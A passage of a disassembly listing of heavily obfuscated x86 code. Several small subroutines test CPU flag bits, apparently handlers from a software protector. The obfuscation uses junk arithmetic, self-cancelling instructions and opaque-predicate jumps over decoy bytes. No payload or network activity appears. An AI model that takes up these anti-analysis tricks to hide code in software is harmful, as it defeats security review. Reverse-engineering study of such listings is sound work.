var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Fh
dec ch
dec ch
dec ch
sub ch, 1
sub ch, 15h
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0BDh
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 13h
dec cl
sub cl, 3
dec cl
and eax, 41h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 22h
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4986A8
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4986A8: ; CODE XREF: sub_4985C8+D5j
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4985C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4986BC proc near ; DATA XREF: sub_4965D8+1559o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
jo short loc_498724
jl short loc_498722
loc_49871F: ; CODE XREF: sub_4986BC:loc_498722j
; sub_4986BC:loc_498724j
jmp short loc_498726
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_498722: ; CODE XREF: sub_4986BC+61j
jz short loc_49871F
loc_498724: ; CODE XREF: sub_4986BC+5Fj
jmp short loc_49871F
; ---------------------------------------------------------------------------
loc_498726: ; CODE XREF: sub_4986BC:loc_49871Fj
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 800h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED418
xor ecx, dword_4ED41C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49877E
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49877E: ; CODE XREF: sub_4986BC+B7j
mov eax, [ebp+var_8]
push eax
call off_4F1D70
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4986BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_498792 proc near ; DATA XREF: sub_4965D8+118Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D88
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
jo short loc_4987FA
jl short loc_4987F8
loc_4987F5: ; CODE XREF: sub_498792:loc_4987F8j
; sub_498792:loc_4987FAj
jmp short loc_4987FC
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4987F8: ; CODE XREF: sub_498792+61j
jz short loc_4987F5
loc_4987FA: ; CODE XREF: sub_498792+5Fj
jmp short loc_4987F5
; ---------------------------------------------------------------------------
loc_4987FC: ; CODE XREF: sub_498792:loc_4987F5j
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3B8
xor ecx, dword_4ED3BC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_498851
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_498851: ; CODE XREF: sub_498792+B4j
mov eax, [ebp+var_8]
push eax
call off_4F1D10
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_498792 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_498865 proc near ; DATA XREF: sub_4965D8+E5Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 4
dec bh
dec bh
dec bh
xor bh, 1
and eax, 80h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 10h
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
pop ebx
pop edx
test eax, eax
jnz loc_4989AB
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 1
dec bh
and eax, 41h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 97h
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49893F
jl short loc_49893D
loc_498938: ; CODE XREF: sub_498865:loc_49893Dj
; sub_498865:loc_49893Fj
jmp short loc_498941
; ---------------------------------------------------------------------------
dw 12B8h
db 26h
; ---------------------------------------------------------------------------
loc_49893D: ; CODE XREF: sub_498865+D1j
jz short loc_498938
loc_49893F: ; CODE XREF: sub_498865+CFj
jmp short loc_498938
; ---------------------------------------------------------------------------
loc_498941: ; CODE XREF: sub_498865:loc_498938j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
jo short loc_498964
jl short loc_498962
loc_49895D: ; CODE XREF: sub_498865:loc_498962j
; sub_498865:loc_498964j
jmp short loc_498966
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
adc ah, [esi]
loc_498962: ; CODE XREF: sub_498865+F6j
jz short loc_49895D
loc_498964: ; CODE XREF: sub_498865+F4j
jmp short loc_49895D
; ---------------------------------------------------------------------------
loc_498966: ; CODE XREF: sub_498865:loc_49895Dj
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49898C
jl short loc_49898A
loc_498985: ; CODE XREF: sub_498865:loc_49898Aj
; sub_498865:loc_49898Cj
jmp short loc_49898E
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49898A: ; CODE XREF: sub_498865+11Ej
jz short loc_498985
loc_49898C: ; CODE XREF: sub_498865+11Cj
jmp short loc_498985
; ---------------------------------------------------------------------------
loc_49898E: ; CODE XREF: sub_498865:loc_498985j
inc eax
dec eax
inc eax
dec eax
inc eax
dec eax
jo short loc_49899D
jl short loc_49899B
loc_498998: ; CODE XREF: sub_498865:loc_49899Bj
; sub_498865:loc_49899Dj
jmp short loc_49899F
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49899B: ; CODE XREF: sub_498865+131j
jz short loc_498998
loc_49899D: ; CODE XREF: sub_498865+12Fj
jmp short loc_498998
; ---------------------------------------------------------------------------
loc_49899F: ; CODE XREF: sub_498865:loc_498998j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_4989AB
and eax, 0
inc eax
jmp short loc_4989AE
; ---------------------------------------------------------------------------
loc_4989AB: ; CODE XREF: sub_498865+7Cj
; sub_498865+13Ej
and eax, 0
loc_4989AE: ; CODE XREF: sub_498865+144j
mov [ebp+var_C], eax
mov ecx, dword_4ED3D4
xor ecx, dword_4ED3D8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4989D1
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4989D1: ; CODE XREF: sub_498865+161j
mov eax, [ebp+var_8]
push eax
call off_4F1D2C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_498865 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4989E5 proc near ; DATA XREF: sub_4965D8+38Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F0
xor ecx, dword_4ED3F4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_498A7B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_498A7B: ; CODE XREF: sub_4989E5+8Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D48
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4989E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_498A8F proc near ; DATA XREF: sub_4965D8+1367o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 8
dec ch
and ah, ch
mov cl, 0BEh
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
sub cl, 3
dec cl
and eax, 80h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 800h
sub cl, 1Fh
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 0C00h
sub dh, 1
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
jo short loc_498B56
jl short loc_498B54
loc_498B51: ; CODE XREF: sub_498A8F:loc_498B54j
; sub_498A8F:loc_498B56j
jmp short loc_498B58
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_498B54: ; CODE XREF: sub_498A8F+C0j
jz short loc_498B51
loc_498B56: ; CODE XREF: sub_498A8F+BEj
jmp short loc_498B51
; ---------------------------------------------------------------------------
loc_498B58: ; CODE XREF: sub_498A8F:loc_498B51j
setnz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED404
xor ecx, dword_4ED408
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_498B80
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_498B80: ; CODE XREF: sub_498A8F+E6j
mov eax, [ebp+var_8]
push eax
call off_4F1D5C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_498A8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_498B94 proc near ; DATA XREF: sub_4965D8+B41o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1F00h
pop ebx
jo short loc_498BCA
jl short loc_498BC8
loc_498BC3: ; CODE XREF: sub_498B94:loc_498BC8j
; sub_498B94:loc_498BCAj
jmp short loc_498BCC
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_498BC8: ; CODE XREF: sub_498B94+2Dj
jz short loc_498BC3
loc_498BCA: ; CODE XREF: sub_498B94+2Bj
jmp short loc_498BC3
; ---------------------------------------------------------------------------
loc_498BCC: ; CODE XREF: sub_498B94:loc_498BC3j
sub bh, 3
sub bh, 3
push eax
dec bh
dec bh
and eax, 80h
dec bh
sub bh, 10h
sub bh, 5
pop eax
dec bh
and ah, bh
mov edx, 16h
dec dl
sub dl, 3
dec dl
sub dl, 8
dec dl
dec dl
dec dl
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_498C2F
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_498C2F: ; CODE XREF: sub_498B94+90j
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_498B94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_498C43 proc near ; DATA XREF: sub_4965D8+569o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_498CB3
jl short loc_498CB1
loc_498CAE: ; CODE XREF: sub_498C43:loc_498CB1j
; sub_498C43:loc_498CB3j
jmp short loc_498CB5
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_498CB1: ; CODE XREF: sub_498C43+69j
jz short loc_498CAE
loc_498CB3: ; CODE XREF: sub_498C43+67j
jmp short loc_498CAE
; ---------------------------------------------------------------------------
loc_498CB5: ; CODE XREF: sub_498C43:loc_498CAEj
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
dec esi
inc edi
sub cl, 1
dec cl
dec cl
dec cl
dec edi
dec cl
dec cl
dec esi
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
pop ecx
pop ebx
test eax, eax
jnz loc_498D9D
mov eax, [ebp+var_4]
push ebx
mov ebx, 800h
jmp short loc_498D00
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_498D00: ; CODE XREF: sub_498C43+B6j
mov ebx, 72h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_498D43
jl short loc_498D41
loc_498D3C: ; CODE XREF: sub_498C43:loc_498D41j
; sub_498C43:loc_498D43j
jmp short loc_498D45
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_498D41: ; CODE XREF: sub_498C43+F7j
jz short loc_498D3C
loc_498D43: ; CODE XREF: sub_498C43+F5j
jmp short loc_498D3C
; ---------------------------------------------------------------------------
loc_498D45: ; CODE XREF: sub_498C43:loc_498D3Cj
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1500h
dec dh
sub dh, 3
dec dh
sub dh, 7
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
pop ecx
cmp ecx, eax
jo short loc_498D87
jl short loc_498D85
loc_498D80: ; CODE XREF: sub_498C43:loc_498D85j
; sub_498C43:loc_498D87j
jmp short loc_498D89
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_498D85: ; CODE XREF: sub_498C43+13Bj
jz short loc_498D80
loc_498D87: ; CODE XREF: sub_498C43+139j
jmp short loc_498D80
; ---------------------------------------------------------------------------
loc_498D89: ; CODE XREF: sub_498C43:loc_498D80j
jnz short loc_498D9D
jo short loc_498D96
jl short loc_498D94
loc_498D8F: ; CODE XREF: sub_498C43:loc_498D94j
; sub_498C43:loc_498D96j
jmp short loc_498D98
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_498D94: ; CODE XREF: sub_498C43+14Aj
jz short loc_498D8F
loc_498D96: ; CODE XREF: sub_498C43+148j
jmp short loc_498D8F
; ---------------------------------------------------------------------------
loc_498D98: ; CODE XREF: sub_498C43:loc_498D8Fj
and eax, 0
jmp short loc_498DA1
; ---------------------------------------------------------------------------
loc_498D9D: ; CODE XREF: sub_498C43+A7j
; sub_498C43:loc_498D89j
and eax, 0
inc eax
loc_498DA1: ; CODE XREF: sub_498C43+158j
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_498DC4
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_498DC4: ; CODE XREF: sub_498C43+176j
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_498C43 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_498DD8 proc near ; DATA XREF: sub_4965D8+993o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D9C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0BDh
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
sub cl, 3
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3CC
xor ecx, dword_4ED3D0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_498EA4
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_498EA4: ; CODE XREF: sub_498DD8+C1j
mov eax, [ebp+var_8]
push eax
call off_4F1D24
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_498DD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_498EB8 proc near ; DATA XREF: sub_4965D8+9A9o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_498EDD
jl short loc_498EDB
loc_498ED8: ; CODE XREF: sub_498EB8:loc_498EDBj
; sub_498EB8:loc_498EDDj
jmp short loc_498EDF
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_498EDB: ; CODE XREF: sub_498EB8+1Ej
jz short loc_498ED8
loc_498EDD: ; CODE XREF: sub_498EB8+1Cj
jmp short loc_498ED8
; ---------------------------------------------------------------------------
loc_498EDF: ; CODE XREF: sub_498EB8:loc_498ED8j
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
jo short loc_498F0E
jl short loc_498F0C
loc_498F09: ; CODE XREF: sub_498EB8:loc_498F0Cj
; sub_498EB8:loc_498F0Ej
jmp short loc_498F10
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_498F0C: ; CODE XREF: sub_498EB8+4Fj
jz short loc_498F09
loc_498F0E: ; CODE XREF: sub_498EB8+4Dj
jmp short loc_498F09
; ---------------------------------------------------------------------------
loc_498F10: ; CODE XREF: sub_498EB8:loc_498F09j
mov bl, 0C6h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D4
xor ecx, dword_4ED3D8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_498F64
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_498F64: ; CODE XREF: sub_498EB8+A1j
mov eax, [ebp+var_8]
push eax
call off_4F1D2C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_498EB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_498F78 proc near ; DATA XREF: sub_4965D8+2C1o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D94
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 6
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
add ecx, 4
inc ecx
inc ecx
inc ecx
inc ecx
add ecx, 3
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C4
xor ecx, dword_4ED3C8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49900E
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49900E: ; CODE XREF: sub_498F78+8Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D1C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_498F78 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499022 proc near ; DATA XREF: sub_4965D8+FDCo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 41h
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
add ecx, 0Dh
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Fh
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
add ecx, 3
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0F00h
sub dh, 1
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
jo short loc_4990B3
jl short loc_4990B1
loc_4990AE: ; CODE XREF: sub_499022:loc_4990B1j
; sub_499022:loc_4990B3j
jmp short loc_4990B5
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4990B1: ; CODE XREF: sub_499022+8Aj
jz short loc_4990AE
loc_4990B3: ; CODE XREF: sub_499022+88j
jmp short loc_4990AE
; ---------------------------------------------------------------------------
loc_4990B5: ; CODE XREF: sub_499022:loc_4990AEj
cmp eax, edx
jo short loc_4990C0
jl short loc_4990BE
loc_4990BB: ; CODE XREF: sub_499022:loc_4990BEj
; sub_499022:loc_4990C0j
jmp short loc_4990C2
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4990BE: ; CODE XREF: sub_499022+97j
jz short loc_4990BB
loc_4990C0: ; CODE XREF: sub_499022+95j
jmp short loc_4990BB
; ---------------------------------------------------------------------------
loc_4990C2: ; CODE XREF: sub_499022:loc_4990BBj
jz short loc_4990D5
and eax, 0
jo short loc_4990D0
jl short loc_4990CE
loc_4990CB: ; CODE XREF: sub_499022:loc_4990CEj
; sub_499022:loc_4990D0j
jmp short loc_4990D2
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4990CE: ; CODE XREF: sub_499022+A7j
jz short loc_4990CB
loc_4990D0: ; CODE XREF: sub_499022+A5j
jmp short loc_4990CB
; ---------------------------------------------------------------------------
loc_4990D2: ; CODE XREF: sub_499022:loc_4990CBj
inc eax
jmp short loc_4990D8
; ---------------------------------------------------------------------------
loc_4990D5: ; CODE XREF: sub_499022:loc_4990C2j
and eax, 0
loc_4990D8: ; CODE XREF: sub_499022+B1j
mov [ebp+var_C], eax
mov ecx, dword_4ED3E4
xor ecx, dword_4ED3E8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4990FB
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4990FB: ; CODE XREF: sub_499022+CEj
mov eax, [ebp+var_8]
push eax
